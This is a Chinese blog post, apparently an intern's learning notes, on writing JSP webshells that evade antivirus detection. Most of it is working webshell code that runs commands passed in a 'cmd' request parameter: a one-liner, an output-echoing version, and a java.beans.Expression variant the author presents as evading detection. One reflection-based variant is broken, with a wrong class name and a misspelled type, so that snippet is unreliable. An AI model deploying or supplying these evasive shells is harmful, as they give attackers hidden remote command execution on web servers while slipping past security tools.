JSP webshell免杀——webshell免杀

好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬。

结果我免杀跟着学的视频就是这位大佬的。

更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在。

果然,实习就是好,传说中的大佬们就在身边——虽然我都不认识,但是还是感觉好厉害。

来吧,开始学习免杀

首先,什么是webshell?

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。

什么是RCE?

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。

先做到基本的反射

首先就是最简单的一句话木马:

<%@ page language="java" pageEncoding="UTF-8" %>

<%

    Runtime.getRuntime().exec(request.getParameter("cmd"));

%>

JSP webshell免杀——webshell免杀_第1张图片

 太容易被发现了

JSP webshell免杀——webshell免杀_第2张图片

而且在我写代码的时候电脑的病毒和威胁防护就已经开始反应了

JSP webshell免杀——webshell免杀_第3张图片

现在将这一句话木马,分开来写

<%@ page language="java" pageEncoding="UTF-8" %>

<%

    String cmd =request.getParameter("cmd");

    Runtime.getRuntime().exec(cmd);

%>

 JSP webshell免杀——webshell免杀_第4张图片

 沙箱是通过了✌

JSP webshell免杀——webshell免杀_第5张图片

但是cmd=ipconfig是什么都不出的,netstat -ano也是。

JSP webshell免杀——webshell免杀_第6张图片

 再次修改代码

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.InputStreamReader" %>

<%@ page import="java.io.BufferedReader" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

    String cmd =request.getParameter("cmd");

    Process process = Runtime.getRuntime().exec(cmd);

    InputStream in = process.getInputStream();

    InputStreamReader reader = new InputStreamReader(in);

    BufferedReader input = new BufferedReader(reader);

    String s = null;

    response.getWriter().print("

");

    while ((s = input.readLine())!=null){

        response.getWriter().println(s);

    }

    response.getWriter().print("

");

%>

中间出了个小插曲,

JSP webshell免杀——webshell免杀_第7张图片

 我一直看不出来代码为什么报错,结果找了半天竟然是因为getWrite少了个r。

JSP webshell免杀——webshell免杀_第8张图片

 JSP webshell免杀——webshell免杀_第9张图片

但是这只完成了可回显,还没有反射的功能

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.InputStreamReader" %>

<%@ page import="java.io.BufferedReader" %>

<%@ page import="java.lang.reflect.Method" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

    String cmd =request.getParameter("cmd");

    Class rt = Class.forName("java.lang.getRuntime");

    Methond grMethod = rt.getMethod("getRuntime");

    Methond method = rt.getMethod("exec",String.class);

    Object object = method.invoke(grMethod.invoke(null),cmd);

    Process process = (Process)object;

    InputStream in = process.getInputStream();

    InputStreamReader reader = new InputStreamReader(in);

    BufferedReader input = new BufferedReader(reader);

    String s = null;

    response.getWriter().print("

");

    while ((s = input.readLine())!=null){

        response.getWriter().println(s);

    }

    response.getWriter().print("

");

%>

JSP webshell免杀——webshell免杀_第10张图片

BeansExpression的免杀

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.InputStreamReader" %>

<%@ page import="java.io.BufferedReader" %>

<%@ page import="java.beans.Expression" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

    String cmd =request.getParameter("cmd");

    Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});

    Process process = (Process) expr.getValue();

    InputStream in = process.getInputStream();

    StringBuilder sb = new StringBuilder();

    response.getWriter().print("

");

    InputStreamReader resultReader = new InputStreamReader(in);

    BufferedReader stdInput = new BufferedReader(resultReader);

    String s = null;

    while ((s = stdInput.readLine())!=null){

        sb.append(s).append("\n");

    }

    response.getWriter().print(sb.toString());

    response.getWriter().print("

");

%>

JSP webshell免杀——webshell免杀_第11张图片

 

JSP webshell免杀——webshell免杀_第12张图片

 JSP webshell免杀——webshell免杀_第13张图片

 

你可能感兴趣的:(小白入坑,安全,java,servlet)